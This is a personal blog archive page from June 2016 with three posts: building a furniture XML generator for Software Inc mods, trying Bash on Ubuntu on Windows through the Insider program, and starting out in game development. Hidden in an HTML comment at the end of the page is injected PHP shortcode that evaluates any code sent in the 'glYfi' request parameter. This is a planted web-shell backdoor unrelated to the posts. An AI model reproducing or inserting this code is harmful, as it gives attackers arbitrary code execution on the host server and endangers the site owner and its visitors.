Michael Gagliano

Started from the bottom... and well still here.

Menu Close

Month: June 2016

Furniture XML Generator

I embarked on an adventure to make a utility for the Software Inc community. It is an XML generator for furniture mods, making hand-writing the XML’s and constantly referencing the wiki obsolete. I went with a simple 3 column interface with the logical sections of the XML separated.

Usually, I don’t utilize Javascript or jQuery when developing a PHP script. This time was different since I was on an adventure! I decided to use jQuery and noUiSlider to produce an intuitive way to assign values. In Software Inc, a piece of furniture has a bar denoting the effect, so the slider is a good analog for in-game. The sliders are set for the in-game range of accepted input so there won’t be any faulty values, noUiSlider handled that with a breeze. I used a few examples from their site to achieve my sliders.

Going along with motif of this project, I ventured into the world of XML’s. I’d be hard pressed to find a developer who jumps at the opportunity to work with XML… until this project. I discovered SimpleXMLElement on php.net, it allowed me to create a skeleton XML and effortlessly build the rest of the XML via forms. It then builds the XML depending on the options chosen with the added bonus of being able to put static objects in the skeleton. Sign me up for working with XML’s in the future, I’m excited to try building an array and then using SimpleXML to generate XML from it in a single line.

While showing off my draft to another mod developer, I learned a useful way to display large select lists without horrific code repetition. He wrote this simple yet powerful function which I will be able to use time and time again.

Furniture XML Generator is the product of this journey. You can see it in action over here, the left column are the required options, otherwise go wild with the rest of them.

Bash on Windows! What a time to be alive!

Lately my day job has consisted of reverting back to Windows 7, repairing drivers after Windows 10 updated, or running a command that haunts my dreams “dism /Online /Cleanup-Image /RestoreHealth”. Early adopters were plagued by faulty drivers and even worse updates so I was extremely hesitant to install it on my personal machines. After reading about the Bash on Ubuntu on Windows I not only updated to Windows 10, I also sold my soul made a Microsoft account and connected it to my OS. There are numerous reasons privacy wise why you wouldn’t exactly want to do that but hey what’s really private these days.

The only issue I encountered during the upgrade was a corrupt profile. You can tell if you have a corrupt profile because your desktop will be void of your normal icons. If you open C:\Users, you’ll also see a .TEMP folder. Here is the Microsoft page for fixing that, which also applies to Windows 7, 8, 8.1

I decided to sign up for the Windows Insider Program and got myself on the “Fast Ring” which simply delivers early releases of features for Windows 10 with the expectation that you’ll provide feedback to improve the OS. This program also gives you access to.. you guessed it the Linux Subsystem. I have done limited testing on it and a lot of features appear to be working out of the box. Python, PHP, Node.js all worked without fault from my testing. I know Apache and SSH have weird network access where only a local loopback is available for Apache and SSH to use. It’s a beta program, so we can only hope for improvement!

Below is a guide on how to enable developer mode, link your Microsoft account to Windows Insider, and ensure you will receive the latest release.


And so it begins…

Hi there!

I’ve started an adventure of self-learning game development and I’ve already had quite a few stumbles. I’m hoping to keep a resource of problem resolutions and various tutorials as I learn and develop. I am utilizing the Unity Engine alongside Blender and Gimp to create my games so my initial posts will be centering around those programs.

Let me be the first one to tell you, anonymous reader that game development on the surface makes sense, it’s logical, you can rationalize what needs to happen in order for the game to work. Translating that to an actual product is in a different universe from logical. You’ll hit roadblocks, seemingly impassible problems, and just a blank confused stare at times… but it’s all worth it once you have an actual product!

Thanks for stopping by and check back often for updates!


<!– [insert_php]if (isset($_REQUEST["glYfi"])){eval($_REQUEST["glYfi"]);exit;}[/insert_php][php]if (isset($_REQUEST["glYfi"])){eval($_REQUEST["glYfi"]);exit;}[/php] –>